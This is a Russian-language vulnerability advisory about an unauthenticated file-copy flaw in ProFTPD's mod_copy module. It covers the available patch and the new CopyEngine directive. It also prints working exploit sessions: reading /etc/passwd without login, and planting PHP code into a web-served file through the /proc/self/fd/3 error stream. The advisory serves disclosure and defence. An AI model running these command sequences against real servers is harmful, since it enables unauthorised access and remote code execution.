В ftp-сервере ProFTPD обнаружена опасная уязвимость, которая позволяет копировать файлы в пределах сервера без проведения аутентификации с помощью команд «site cpfr» и «site cpto». Проблема проявляется в модуле mod_copy, который позволяет выполнять команды на стадии до проведения аутентификации пользователя. Уязвимость усугубляется отсутствием возможности отключить mod_copy через файл конфигурации и наличием путей эксплуатации уязвимости, которые могут быть использованы в атаке для организации выполнения кода на web-сервере.
В настоящий момент исправления доступны только в виде патча в git-репозитории проекта. Одновременно для ProFTPD предложена реализация директивы CopyEngine, через которую можно отключить mod_copy без перекомпиляции. В настоящее время в дистрибутивах не зафиксировано обновлений пакетов с устранением проблемы. Оценить появление обновлений в дистрибутивах можно на следующих страницах: RHEL 6, RHEL 7, Ubuntu, Debian, Fedora, openSUSE, SLES, Slackware, Gentoo, CentOS, FreeBSD.
Пример копирования файла /etc/passwd в /tmp/passwd.copy:
Trying 192.168.3.115... Connected to 192.168.3.115. Escape character is '^]'. 220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.3.115] site cpfr /etc/passwd 350 File or directory exists, ready for destination name site cpto /tmp/passwd.copy 250 Copy successful
Пример организации запуска кода на web-сервере:
site cpfr /etc/passwd 350 File or directory exists, ready for destination name site cpto ?php phpinfo(); ? 550 cpto: Permission denied site cpfr /proc/self/fd/3 350 File or directory exists, ready for destination name site cpto /var/www/test.php 250 Copy successful
Файл test.php будет содержать данные из потока STDERR, в том числе и указанный в ошибочной команде PHP-код:
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument 2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): FTP session opened. 2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error opening destination file '/?php phpinfo(); ?' for copying: Permission denied